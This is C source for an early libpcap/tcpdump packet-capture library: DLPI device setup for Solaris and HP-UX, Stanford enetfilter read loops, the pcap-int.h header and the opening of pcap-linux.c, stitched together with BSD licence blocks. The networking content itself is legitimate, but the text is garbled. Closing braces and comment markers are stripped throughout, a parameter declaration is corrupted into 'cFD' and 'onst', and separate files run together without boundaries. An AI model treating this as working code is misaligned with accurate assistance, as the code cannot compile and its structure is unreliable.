#endif
#ifdef DL_HP_PPA_ACK_OBS
#include <sys/stat.h>
#endif
#include <sys/stream.h>
#if defined(HAVE_SOLARIS) && defined(HAVE_SYS_BUFMOD_H)
#include <sys/systeminfo.h>
#endif
#ifdef HAVE_HPUX9
#include <net/if.h>
#endif
#include <ctype.h>
#ifdef HAVE_HPUX9
#include <nlist.h>
#endif
#include <errno.h>
#include <fcntl.h>
#include <memory.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stropts.h>
#include <unistd.h>
#include "pcap-int.h"
#include "gnuc.h"
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
#ifndef PCAP_DEV_PREFIX
#define PCAP_DEV_PREFIX "/dev"
#endif
#define      MAXDLBUF    8192
/* Forwards */
static int dlattachreq(int, bpf_u_int32, char *);
static int dlbindack(int, char *, char *);
static int dlbindreq(int, bpf_u_int32, char *);
static int dlinfoack(int, char *, char *);
static int dlinforeq(int, char *);
static int dlokack(int, const char *, char *, char *);
static int recv_ack(int, int, const char *, char *, char *);
static int dlpromisconreq(int, bpf_u_int32, char *);
#if defined(HAVE_SOLARIS) && defined(HAVE_SYS_BUFMOD_H)
static char *get_release(bpf_u_int32 *, bpf_u_int32 *, bpf_u_int32 *);
#endif
static int send_request(int, char *, int, char *, char *);
#ifdef HAVE_SYS_BUFMOD_H
static int strioctl(int, int, int, char *);
#endif
#ifdef HAVE_HPUX9
static int dlpi_kread(int, off_t, void *, u_int, char *);
#endif
#ifdef HAVE_DEV_DLPI
static int get_dlpi_ppa(int, const char *, int, char *);
#endif
pcap_stats(pcap_t *p, struct pcap_stat *ps)
      *ps = p->md.stat;
      return (0);
/* XXX Needed by HP-UX (at least) */
static bpf_u_int32 ctlbuf[MAXDLBUF];
static struct strbuf ctl = {
      MAXDLBUF,
      (char *)ctlbuf
pcap_read(pcap_t *p, int cnt, pcap_handler callback, u_char *user)
      register int cc, n, caplen, origlen;
      register u_char *bp, *ep, *pk;
      register struct bpf_insn *fcode;
#ifdef HAVE_SYS_BUFMOD_H
      register struct sb_hdr *sbp;
#ifdef LBL_ALIGN
      struct sb_hdr sbhdr;
#endif
#endif
      int flags;
      struct strbuf data;
      struct pcap_pkthdr pkthdr;
      flags = 0;
      cc = p->cc;
      if (cc == 0) {
            data.buf = (char *)p->buffer + p->offset;
            data.maxlen = MAXDLBUF;
            data.len = 0;
            do {
                  if (getmsg(p->fd, &ctl, &data, &flags) < 0) {
                        /* Don't choke when we get ptraced */
                        if (errno == EINTR) {
                              cc = 0;
                              continue;
                        }
                        strcpy(p->errbuf, pcap_strerror(errno));
                        return (-1);
                  }
                  cc = data.len;
            } while (cc == 0);
            bp = p->buffer + p->offset;
      } else
            bp = p->bp;
      /* Loop through packets */
      fcode = p->fcode.bf_insns;
      ep = bp + cc;
      n = 0;
#ifdef HAVE_SYS_BUFMOD_H
      while (bp < ep) {
#ifdef LBL_ALIGN
            if ((long)bp & 3) {
                  sbp = &sbhdr;
                  memcpy(sbp, bp, sizeof(*sbp));
            } else
#endif
                  sbp = (struct sb_hdr *)bp;
            p->md.stat.ps_drop += sbp->sbh_drops;
            pk = bp + sizeof(*sbp);
            bp += sbp->sbh_totlen;
            origlen = sbp->sbh_origlen;
            caplen = sbp->sbh_msglen;
#else
            origlen = cc;
            caplen = min(p->snapshot, cc);
            pk = bp;
            bp += caplen;
#endif
            ++p->md.stat.ps_recv;
            if (bpf_filter(fcode, pk, origlen, caplen)) {
#ifdef HAVE_SYS_BUFMOD_H
                  pkthdr.ts = sbp->sbh_timestamp;
#else
                  (void)gettimeofday(&pkthdr.ts, NULL);
#endif
                  pkthdr.len = origlen;
                  pkthdr.caplen = caplen;
                  /* Insure caplen does not exceed snapshot */
                  if (pkthdr.caplen > p->snapshot)
                        pkthdr.caplen = p->snapshot;
                  (*callback)(user, &pkthdr, pk);
                  if (++n >= cnt && cnt >= 0) {
                        p->cc = ep - bp;
                        p->bp = bp;
                        return (n);
                  }
#ifdef HAVE_SYS_BUFMOD_H
#endif
      p->cc = 0;
      return (n);
pcap_t *
pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf)
      register char *cp;
      char *eos;
      register pcap_t *p;
      register int ppa;
      register dl_info_ack_t *infop;
#ifdef HAVE_SYS_BUFMOD_H
      bpf_u_int32 ss, flag;
#ifdef HAVE_SOLARIS
      register char *release;
      bpf_u_int32 osmajor, osminor, osmicro;
#endif
#endif
      bpf_u_int32 buf[MAXDLBUF];
      char dname[100];
#ifndef HAVE_DEV_DLPI
      char dname2[100];
#endif
      p = (pcap_t *)malloc(sizeof(*p));
      if (p == NULL) {
            strcpy(ebuf, pcap_strerror(errno));
            return (NULL);
      memset(p, 0, sizeof(*p));
      ** Determine device and ppa
      cp = strpbrk(device, "0123456789");
      if (cp == NULL) {
            sprintf(ebuf, "%s missing unit number", device);
            goto bad;
      ppa = strtol(cp, &eos, 10);
      if (*eos != '\0') {
            sprintf(ebuf, "%s bad unit number", device);
            goto bad;
      if (*device == '/')
            strcpy(dname, device);
      else
            sprintf(dname, "%s/%s", PCAP_DEV_PREFIX, device);
#ifdef HAVE_DEV_DLPI
      /* Map network device to /dev/dlpi unit */
      cp = "/dev/dlpi";
      if ((p->fd = open(cp, O_RDWR)) < 0) {
            sprintf(ebuf, "%s: %s", cp, pcap_strerror(errno));
            goto bad;
      /* Map network interface to /dev/dlpi unit */
      ppa = get_dlpi_ppa(p->fd, dname, ppa, ebuf);
      if (ppa < 0)
            goto bad;
#else
      /* Try device without unit number */
      strcpy(dname2, dname);
      cp = strchr(dname, *cp);
      *cp = '\0';
      if ((p->fd = open(dname, O_RDWR)) < 0) {
            if (errno != ENOENT) {
                  sprintf(ebuf, "%s: %s", dname, pcap_strerror(errno));
                  goto bad;
            /* Try again with unit number */
            if ((p->fd = open(dname2, O_RDWR)) < 0) {
                  sprintf(ebuf, "%s: %s", dname2, pcap_strerror(errno));
                  goto bad;
            /* XXX Assume unit zero */
            ppa = 0;
#endif
      p->snapshot = snaplen;
      ** Attach if "style 2" provider
      if (dlinforeq(p->fd, ebuf) < 0 ||
          dlinfoack(p->fd, (char *)buf, ebuf) < 0)
            goto bad;
      infop = &((union DL_primitives *)buf)->info_ack;
      if (infop->dl_provider_style == DL_STYLE2 &&
          (dlattachreq(p->fd, ppa, ebuf) < 0 ||
          dlokack(p->fd, "attach", (char *)buf, ebuf) < 0))
            goto bad;
      ** Bind (defer if using HP-UX 9 or HP-UX 10.20, totally skip if
      ** using SINIX)
#if !defined(HAVE_HPUX9) && !defined(HAVE_HPUX10_20) && !defined(sinix)
      if (dlbindreq(p->fd, 0, ebuf) < 0 ||
          dlbindack(p->fd, (char *)buf, ebuf) < 0)
            goto bad;
#endif
      if (promisc) {
            /*
            ** Enable promiscuous
            */
            if (dlpromisconreq(p->fd, DL_PROMISC_PHYS, ebuf) < 0 ||
                dlokack(p->fd, "promisc_phys", (char *)buf, ebuf) < 0)
                  goto bad;
            /*
            ** Try to enable multicast (you would have thought
            ** promiscuous would be sufficient). (Skip if using
            ** HP-UX or SINIX)
            */
#if !defined(__hpux) && !defined(sinix)
            if (dlpromisconreq(p->fd, DL_PROMISC_MULTI, ebuf) < 0 ||
                dlokack(p->fd, "promisc_multi", (char *)buf, ebuf) < 0)
                  fprintf(stderr,
                      "WARNING: DL_PROMISC_MULTI failed (%s)\n", ebuf);
#endif
      ** Try to enable sap (when not in promiscuous mode when using
      ** using HP-UX and never under SINIX)
#ifndef sinix
      if (
#ifdef __hpux
          !promisc &&
#endif
          (dlpromisconreq(p->fd, DL_PROMISC_SAP, ebuf) < 0 ||
          dlokack(p->fd, "promisc_sap", (char *)buf, ebuf) < 0)) {
            /* Not fatal if promisc since the DL_PROMISC_PHYS worked */
            if (promisc)
                  fprintf(stderr,
                      "WARNING: DL_PROMISC_SAP failed (%s)\n", ebuf);
            else
                  goto bad;
#endif
      ** HP-UX 9 and HP-UX 10.20 must bind after setting promiscuous
      ** options)
#if defined(HAVE_HPUX9) || defined(HAVE_HPUX10_20)
      if (dlbindreq(p->fd, 0, ebuf) < 0 ||
          dlbindack(p->fd, (char *)buf, ebuf) < 0)
            goto bad;
#endif
      ** Determine link type
      if (dlinforeq(p->fd, ebuf) < 0 ||
          dlinfoack(p->fd, (char *)buf, ebuf) < 0)
            goto bad;
      infop = &((union DL_primitives *)buf)->info_ack;
      switch (infop->dl_mac_type) {
      case DL_CSMACD:
      case DL_ETHER:
            p->linktype = DLT_EN10MB;
            p->offset = 2;
            break;
      case DL_FDDI:
            p->linktype = DLT_FDDI;
            p->offset = 3;
            break;
      default:
            sprintf(ebuf, "unknown mac type 0x%lu", infop->dl_mac_type);
            goto bad;
#ifdef      DLIOCRAW
      ** This is a non standard SunOS hack to get the ethernet header.
      if (strioctl(p->fd, DLIOCRAW, 0, NULL) < 0) {
            sprintf(ebuf, "DLIOCRAW: %s", pcap_strerror(errno));
            goto bad;
#endif
#ifdef HAVE_SYS_BUFMOD_H
      ** Another non standard call to get the data nicely buffered
      if (ioctl(p->fd, I_PUSH, "bufmod") != 0) {
            sprintf(ebuf, "I_PUSH bufmod: %s", pcap_strerror(errno));
            goto bad;
      ** Now that the bufmod is pushed lets configure it.
      ** There is a bug in bufmod(7). When dealing with messages of
      ** less than snaplen size it strips data from the beginning not
      ** the end.
      ** This bug is supposed to be fixed in 5.3.2. Also, there is a
      ** patch available. Ask for bugid 1149065.
      ss = snaplen;
#ifdef HAVE_SOLARIS
      release = get_release(&osmajor, &osminor, &osmicro);
      if (osmajor == 5 && (osminor <= 2 || (osminor == 3 && osmicro < 2)) &&
          getenv("BUFMOD_FIXED") == NULL) {
            fprintf(stderr,
            "WARNING: bufmod is broken in SunOS %s; ignoring snaplen.\n",
                release);
            ss = 0;
#endif
      if (ss > 0 &&
          strioctl(p->fd, SBIOCSSNAP, sizeof(ss), (char *)&ss) != 0) {
            sprintf(ebuf, "SBIOCSSNAP: %s", pcap_strerror(errno));
            goto bad;
      ** Set up the bufmod flags
      if (strioctl(p->fd, SBIOCGFLAGS, sizeof(flag), (char *)&flag) < 0) {
            sprintf(ebuf, "SBIOCGFLAGS: %s", pcap_strerror(errno));
            goto bad;
      flag |= SB_NO_DROPS;
      if (strioctl(p->fd, SBIOCSFLAGS, sizeof(flag), (char *)&flag) != 0) {
            sprintf(ebuf, "SBIOCSFLAGS: %s", pcap_strerror(errno));
            goto bad;
      ** Set up the bufmod timeout
      if (to_ms != 0) {
            struct timeval to;
            to.tv_sec = to_ms / 1000;
            to.tv_usec = (to_ms * 1000) % 1000000;
            if (strioctl(p->fd, SBIOCSTIME, sizeof(to), (char *)&to) != 0) {
                  sprintf(ebuf, "SBIOCSTIME: %s", pcap_strerror(errno));
                  goto bad;
#endif
      ** As the last operation flush the read side.
      if (ioctl(p->fd, I_FLUSH, FLUSHR) != 0) {
            sprintf(ebuf, "FLUSHR: %s", pcap_strerror(errno));
            goto bad;
      /* Allocate data buffer */
      p->bufsize = MAXDLBUF * sizeof(bpf_u_int32);
      p->buffer = (u_char *)malloc(p->bufsize + p->offset);
      return (p);
bad:
      free(p);
      return (NULL);
pcap_setfilter(pcap_t *p, struct bpf_program *fp)
      p->fcode = *fp;
      return (0);
static int
send_request(int fd, char *ptr, int len, char *what, char *ebuf)
      struct      strbuf      ctl;
      int      flags;
      ctl.maxlen = 0;
      ctl.len = len;
      ctl.buf = ptr;
      flags = 0;
      if (putmsg(fd, &ctl, (struct strbuf *) NULL, flags) < 0) {
            sprintf(ebuf, "send_request: putmsg \"%s\": %s",
                what, pcap_strerror(errno));
            return (-1);
      return (0);
static int
recv_ack(int fd, int size, cFD
onst char *what, char *bufp, char *ebuf)
      union      DL_primitives      *dlp;
      struct      strbuf      ctl;
      int      flags;
      ctl.maxlen = MAXDLBUF;
      ctl.len = 0;
      ctl.buf = bufp;
      flags = 0;
      if (getmsg(fd, &ctl, (struct strbuf*)NULL, &flags) < 0) {
            sprintf(ebuf, "recv_ack: %s getmsg: %s",
                what, pcap_strerror(errno));
            return (-1);
      dlp = (union DL_primitives *) ctl.buf;
      switch (dlp->dl_primitive) {
      case DL_INFO_ACK:
      case DL_BIND_ACK:
      case DL_OK_ACK:
#ifdef DL_HP_PPA_ACK
      case DL_HP_PPA_ACK:
#endif
            /* These are OK */
            break;
      case DL_ERROR_ACK:
            switch (dlp->error_ack.dl_errno) {
            case DL_BADPPA:
                  sprintf(ebuf, "recv_ack: %s bad ppa (device unit)",
                      what);
                  break;
            case DL_SYSERR:
                  sprintf(ebuf, "recv_ack: %s: %s",
                      what, pcap_strerror(dlp->error_ack.dl_unix_errno));
                  break;
            case DL_UNSUPPORTED:
                  sprintf(ebuf,
                      "recv_ack: %s: Service not supplied by provider",
                      what);
                  break;
            default:
                  sprintf(ebuf, "recv_ack: %s error 0x%x",
                      what, (bpf_u_int32)dlp->error_ack.dl_errno);
                  break;
            return (-1);
      default:
            sprintf(ebuf, "recv_ack: %s unexpected primitive ack 0x%x ",
                what, (bpf_u_int32)dlp->dl_primitive);
            return (-1);
      if (ctl.len < size) {
            sprintf(ebuf, "recv_ack: %s ack too small (%d < %d)",
                what, ctl.len, size);
            return (-1);
      return (ctl.len);
static int
dlattachreq(int fd, bpf_u_int32 ppa, char *ebuf)
      dl_attach_req_t      req;
      req.dl_primitive = DL_ATTACH_REQ;
      req.dl_ppa = ppa;
      return (send_request(fd, (char *)&req, sizeof(req), "attach", ebuf));
static int
dlbindreq(int fd, bpf_u_int32 sap, char *ebuf)
      dl_bind_req_t      req;
      memset((char *)&req, 0, sizeof(req));
      req.dl_primitive = DL_BIND_REQ;
#ifdef DL_HP_RAWDLS
      req.dl_max_conind = 1;              /* XXX magic number */
      /* 22 is INSAP as per the HP-UX DLPI Programmer's Guide */
      req.dl_sap = 22;
      req.dl_service_mode = DL_HP_RAWDLS;
#else
      req.dl_sap = sap;
#ifdef DL_CLDLS
      req.dl_service_mode = DL_CLDLS;
#endif
#endif
      return (send_request(fd, (char *)&req, sizeof(req), "bind", ebuf));
static int
dlbindack(int fd, char *bufp, char *ebuf)
      return (recv_ack(fd, DL_BIND_ACK_SIZE, "bind", bufp, ebuf));
static int
dlpromisconreq(int fd, bpf_u_int32 level, char *ebuf)
      dl_promiscon_req_t req;
      req.dl_primitive = DL_PROMISCON_REQ;
      req.dl_level = level;
      return (send_request(fd, (char *)&req, sizeof(req), "promiscon", ebuf));
static int
dlokack(int fd, const char *what, char *bufp, char *ebuf)
      return (recv_ack(fd, DL_OK_ACK_SIZE, what, bufp, ebuf));
static int
dlinforeq(int fd, char *ebuf)
      dl_info_req_t req;
      req.dl_primitive = DL_INFO_REQ;
      return (send_request(fd, (char *)&req, sizeof(req), "info", ebuf));
static int
dlinfoack(int fd, char *bufp, char *ebuf)
      return (recv_ack(fd, DL_INFO_ACK_SIZE, "info", bufp, ebuf));
#ifdef HAVE_SYS_BUFMOD_H
static int
strioctl(int fd, int cmd, int len, char *dp)
      struct strioctl str;
      int rc;
      str.ic_cmd = cmd;
      str.ic_timout = -1;
      str.ic_len = len;
      str.ic_dp = dp;
      rc = ioctl(fd, I_STR, &str);
      if (rc < 0)
            return (rc);
      else
            return (str.ic_len);
#endif
#if defined(HAVE_SOLARIS) && defined(HAVE_SYS_BUFMOD_H)
static char *
get_release(bpf_u_int32 *majorp, bpf_u_int32 *minorp, bpf_u_int32 *microp)
      char *cp;
      static char buf[32];
      *majorp = 0;
      *minorp = 0;
      *microp = 0;
      if (sysinfo(SI_RELEASE, buf, sizeof(buf)) < 0)
            return ("?");
      cp = buf;
      if (!isdigit(*cp))
            return (buf);
      *majorp = strtol(cp, &cp, 10);
      if (*cp++ != '.')
            return (buf);
      *minorp =  strtol(cp, &cp, 10);
      if (*cp++ != '.')
            return (buf);
      *microp =  strtol(cp, &cp, 10);
      return (buf);
#endif
#ifdef DL_HP_PPA_ACK_OBS
 * Under HP-UX 10, we can ask for the ppa
/* Determine ppa number that specifies ifname */
static int
get_dlpi_ppa(register int fd, register const char *device, register int unit,
    register char *ebuf)
      register dl_hp_ppa_ack_t *ap;
      register dl_hp_ppa_info_t *ip;
      register int i;
      register u_long majdev;
      dl_hp_ppa_req_t      req;
      struct stat statbuf;
      bpf_u_int32 buf[MAXDLBUF];
      if (stat(device, &statbuf) < 0) {
            sprintf(ebuf, "stat: %s: %s", device, pcap_strerror(errno));
            return (-1);
      majdev = major(statbuf.st_rdev);
      memset((char *)&req, 0, sizeof(req));
      req.dl_primitive = DL_HP_PPA_REQ;
      memset((char *)buf, 0, sizeof(buf));
      if (send_request(fd, (char *)&req, sizeof(req), "hpppa", ebuf) < 0 ||
          recv_ack(fd, DL_HP_PPA_ACK_SIZE, "hpppa", (char *)buf, ebuf) < 0)
            return (-1);
      ap = (dl_hp_ppa_ack_t *)buf;
      ip = (dl_hp_ppa_info_t *)((u_char *)ap + ap->dl_offset);
        for(i = 0; i < ap->dl_count; i++) {
                if (ip->dl_mjr_num == majdev && ip->dl_instance_num == unit)
                        break;
                ip = (dl_hp_ppa_info_t *)((u_char *)ip + ip->dl_next_offset);
        }
        if (i == ap->dl_count) {
                sprintf(ebuf, "can't find PPA for %s", device);
            return (-1);
        }
        if (ip->dl_hdw_state == HDW_DEAD) {
                sprintf(ebuf, "%s: hardware state: DOWN\n", device);
            return (-1);
        }
        return ((int)ip->dl_ppa);
#endif
#ifdef HAVE_HPUX9
 * Under HP-UX 9, there is no good way to determine the ppa.
 * So punt and read it from /dev/kmem.
static struct nlist nl[] = {
#define NL_IFNET 0
      { "ifnet" },
      { "" }
static char path_vmunix[] = "/hp-ux";
/* Determine ppa number that specifies ifname */
static int
get_dlpi_ppa(register int fd, register const char *ifname, register int unit,
    register char *ebuf)
      register const char *cp;
      register int kd;
      void *addr;
      struct ifnet ifnet;
      char if_name[sizeof(ifnet.if_name)], tifname[32];
      cp = strrchr(ifname, '/');
      if (cp != NULL)
            ifname = cp + 1;
      if (nlist(path_vmunix, &nl) < 0) {
            sprintf(ebuf, "nlist %s failed", path_vmunix);
            return (-1);
      if (nl[NL_IFNET].n_value == 0) {
            sprintf(ebuf, "could't find %s kernel symbol",
                nl[NL_IFNET].n_name);
            return (-1);
      kd = open("/dev/kmem", O_RDONLY);
      if (kd < 0) {
            sprintf(ebuf, "kmem open: %s", pcap_strerror(errno));
            return (-1);
      if (dlpi_kread(kd, nl[NL_IFNET].n_value,
          &addr, sizeof(addr), ebuf) < 0) {
            close(kd);
            return (-1);
      for (; addr != NULL; addr = ifnet.if_next) {
            if (dlpi_kread(kd, (off_t)addr,
                &ifnet, sizeof(ifnet), ebuf) < 0 ||
                dlpi_kread(kd, (off_t)ifnet.if_name,
                if_name, sizeof(if_name), ebuf) < 0) {
                  (void)close(kd);
                  return (-1);
            sprintf(tifname, "%.*s%d",
                (int)sizeof(if_name), if_name, ifnet.if_unit);
            if (strcmp(tifname, ifname) == 0)
                  return (ifnet.if_index);
      sprintf(ebuf, "Can't find %s", ifname);
      return (-1);
static int
dlpi_kread(register int fd, register off_t addr,
    register void *buf, register u_int len, register char *ebuf)
      register int cc;
      if (lseek(fd, addr, SEEK_SET) < 0) {
            sprintf(ebuf, "lseek: %s", pcap_strerror(errno));
            return (-1);
      cc = read(fd, buf, len);
      if (cc < 0) {
            sprintf(ebuf, "read: %s", pcap_strerror(errno));
            return (-1);
      } else if (cc != len) {
            sprintf(ebuf, "short read (%d != %d)", cc, len);
            return (-1);
      return (cc);
#endif
 * Stanford Enetfilter subroutines for tcpdump
 * Based on the MERIT NNstat etherifrt.c and the Ultrix pcap-pf.c
 * subroutines.
 * Rayan Zachariassen, CA*Net
#include <sys/types.h>
#include <sys/time.h>
#include <sys/file.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <net/if.h>
#include <net/bpf.h>
#include <net/enet.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <stdio.h>
#include <errno.h>
#include "interface.h"
struct packet_header {
#ifdef      IBMRTPC
      struct LengthWords      length;
      struct tap_header      tap;
#endif      /* IBMRTPC */
      u_char                  packet[8]
extern int errno;
#define BUFSPACE (4*1024)
/* Forwards */
static void efReadError(int, char *);
void
readloop(int cnt, int if_fd, struct bpf_program *fp, printfunc printit)
#ifdef      IBMRTPC
      register struct packet_header *ph;
      register u_char *bp;
      register int inc;
#else /* !IBMRTPC */
      static struct timeval tv = { 0 };
#endif      /* IBMRTPC */
      register int cc, caplen;
      register struct bpf_insn *fcode = fp->bf_insns;
      union {
            struct packet_header hdr;
            u_char      p[BUFSPACE];
            u_short     s;
      } buf;
      while (1) {
            if ((cc = read(if_fd, (char *)buf.p, sizeof(buf))) < 0)
                  efReadError(if_fd, "reader");
#ifdef      IBMRTPC
            /*
             * Loop through each packet.
             */
            bp = buf.p;
            while (cc > 0) {
                  ph = (struct packet_header *)bp;
                  caplen = ph->tap.th_wirelen > snaplen ? snaplen : ph->tap
.th_wirelen ;
                  if (bpf_filter(fcode, (char *)ph->packet,
                                    ph->tap.th_wirelen, caplen)) {
                        if (cnt >= 0 && --cnt < 0)
                              goto out;
                        (*printit)((char *)ph->packet,
                              (struct timeval *)ph->tap.th_timestamp,
                              ph->tap.th_wirelen, caplen);
                  }
                  inc = ph->length.PacketOffset;
                  cc -= inc;
                  bp += inc;
#else /* !IBMRTPC */
            caplen = cc > snaplen ? snaplen : cc ;
            if (bpf_filter(fcode, buf.hdr.packet, cc, caplen)) {
                  if (cnt >= 0 && --cnt < 0)
                        goto out;
                  (*printit)(buf.hdr.packet, &tv, cc, caplen);
#endif      /* IBMRTPC */
 out:
      wrapup(if_fd);
/* Call ONLY if read() has returned an error on packet filter */
static void
efReadError(int fid, char *msg)
      if (errno == EINVAL) {      /* read MAXINT bytes already! */
            if (lseek(fid, 0, 0) < 0) {
                  perror("tcpdump: efReadError/lseek");
                  exit(-1);
            else
                  return;
      else {
            (void) fprintf(stderr, "tcpdump: ");
            perror(msg);
            exit(-1);
void
wrapup(int fd)
#ifdef      IBMRTPC
      struct enstats es;
      if (ioctl(fd, EIOSTATS, &es) == -1) {
            perror("tcpdump: enet ioctl EIOSTATS error");
            exit(-1);
      fprintf(stderr, "%d packets queued", es.enStat_Rcnt);
      if (es.enStat_Rdrops > 0)
            fprintf(stderr, ", %d dropped", es.enStat_Rdrops);
      if (es.enStat_Reads > 0)
            fprintf(stderr, ", %d tcpdump %s", es.enStat_Reads,
                        es.enStat_Reads > 1 ? "reads" : "read");
      if (es.enStat_MaxRead > 1)
            fprintf(stderr, ", %d packets in largest read",
                  es.enStat_MaxRead);
      putc('\n', stderr);
#endif      /* IBMRTPC */
      close(fd);
initdevice(char *device, int pflag, int *linktype)
      struct eniocb ctl;
      struct enfilter filter;
      u_int maxwaiting;
      int if_fd;
#ifdef      IBMRTPC
      GETENETDEVICE(0, O_RDONLY, &if_fd);
#else /* !IBMRTPC */
      if_fd = open("/dev/enet", O_RDONLY, 0);
#endif      /* IBMRTPC */
      if (if_fd == -1) {
            perror("tcpdump: enet open error");
            error(
"your system may not be properly configured; see \"man enet(4)\"");
            exit(-1);
      /*  Get operating parameters. */
      if (ioctl(if_fd, EIOCGETP, (char *)&ctl) == -1) {
            perror("tcpdump: enet ioctl EIOCGETP error");
            exit(-1);
      /*  Set operating parameters. */
#ifdef      IBMRTPC
      ctl.en_rtout = 1 * ctl.en_hz;
      ctl.en_tr_etherhead = 1;
      ctl.en_tap_network = 1;
      ctl.en_multi_packet = 1;
      ctl.en_maxlen = BUFSPACE;
#else /* !IBMRTPC */
      ctl.en_rtout = 64;      /* randomly picked value for HZ */
#endif      /* IBMRTPC */
      if (ioctl(if_fd, EIOCSETP, &ctl) == -1) {
            perror("tcpdump: enet ioctl EIOCSETP error");
            exit(-1);
      /*  Flush the receive queue, since we've changed
          the operating parameters and we otherwise might
          receive data without headers. */
      if (ioctl(if_fd, EIOCFLUSH) == -1) {
            perror("tcpdump: enet ioctl EIOCFLUSH error");
            exit(-1);
      /*  Set the receive queue depth to its maximum. */
      maxwaiting = ctl.en_maxwaiting;
      if (ioctl(if_fd, EIOCSETW, &maxwaiting) == -1) {
            perror("tcpdump: enet ioctl EIOCSETW error");
            exit(-1);
#ifdef      IBMRTPC
      /*  Clear statistics. */
      if (ioctl(if_fd, EIOCLRSTAT, 0) == -1) {
            perror("tcpdump: enet ioctl EIOCLRSTAT error");
            exit(-1);
#endif      /* IBMRTPC */
      /*  Set the filter (accept all packets). */
      filter.enf_Priority = 3;
      filter.enf_FilterLen = 0;
      if (ioctl(if_fd, EIOCSETF, &filter) == -1) {
            perror("tcpdump: enet ioctl EIOCSETF error");
            exit(-1);
       * "enetfilter" supports only ethernets.
       */
      *linktype = DLT_EN10MB;
      return(if_fd);
 * Copyright (c) 1994, 1995, 1996
 *    The Regents of the University of California.  All rights reserved.
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. All advertising materials mentioning features or use of this software
 *    must display the following acknowledgement:
 *    This product includes software developed by the Computer Systems
 *      Engineering Group at Lawrence Berkeley Laboratory.
 * 4. Neither the name of the University nor of the Laboratory may be used
 *    to endorse or promote products derived from this software without
 *    specific prior written permission.
 * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 * @(#) $Header: pcap-int.h,v 1.18 96/11/27 18:43:09 leres Exp $ (LBL)
#ifndef pcap_int_h
#define pcap_int_h
#include <pcap.h>
 * Savefile
struct pcap_sf {
      FILE *rfile;
      int swapped;
      int version_major;
      int version_minor;
      u_char *base;
struct pcap_md {
      struct pcap_stat stat;
      /*XXX*/
      int use_bpf;
      u_long      TotPkts;    /* can't oflow for 79 hrs on ether */
      u_long      TotAccepted;      /* count accepted by filter */
      u_long      TotDrops;   /* count of dropped packets */
      long      TotMissed;  /* missed by i/f during this run */
      long      OrigMissed; /* missed by i/f before this run */
#ifdef linux
      int pad;
      int skip;
      char *device;
#endif
struct pcap {
      int fd;
      int snapshot;
      int linktype;
      int tzoff;            /* timezone offset */
      int offset;           /* offset for proper alignment */
      struct pcap_sf sf;
      struct pcap_md md;
       * Read buffer.
       */
      int bufsize;
      u_char *buffer;
      u_char *bp;
      int cc;
       * Place holder for pcap_next().
       */
      u_char *pkt;
       * Placeholder for filter code if bpf not in kernel.
       */
      struct bpf_program fcode;
      char errbuf[PCAP_ERRBUF_SIZE];
int      yylex(void);
#ifndef min
#define min(a, b) ((a) > (b) ? (b) : (a))
#endif
/* XXX should these be in pcap.h? */
int      pcap_offline_read(pcap_t *, int, pcap_handler, u_char *);
int      pcap_read(pcap_t *, int cnt, pcap_handler, u_char *);
/* Ultrix pads to make everything line up on a nice boundary */
#if defined(ultrix) || defined(__alpha)
#define       PCAP_FDDIPAD 3
#endif
/* XXX */
extern      int pcap_fddipad;
#endif
 * Copyright (c) 1996, 1997
 *    The Regents of the University of California.  All rights reserved.
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that: (1) source code distributions
 * retain the above copyright notice and this paragraph in its entirety, (2)
 * distributions including binary code include the above copyright notice and
 * this paragraph in its entirety in the documentation or other materials
 * provided with the distribution, and (3) all advertising materials mentioning
 * features or use of this software display the following acknowledgement:
 * ``This product includes software developed by the University of California,
 * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
 * the University nor the names of its contributors may be used to endorse
 * or promote products derived from this software without specific prior
 * written permission.
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
 * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
#ifndef lint
static const char rcsid[] =
    "@(#) $Header: pcap-linux.c,v 1.15 97/10/02 22:39:37 leres Exp $ (LBL)";
#endif
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <net/if.h>
#ifdef HAVE_NET_IF_ARP_H
#include <net/if_arp.h>
#else
#include <linux/if_arp.h>
#endif
#include <linux/if_ether.h>
#include <netinet/in.h>
#include <errno.h>
#include <malloc.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
static struct ifreq saved_ifr;
#include "pcap-int.h"
#include "gnuc.h"
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
void linux_restore_ifr(void);
pcap_stats(pcap_t *p, struct pcap_stat *ps)
      *ps = p->md.stat;
      return (0);
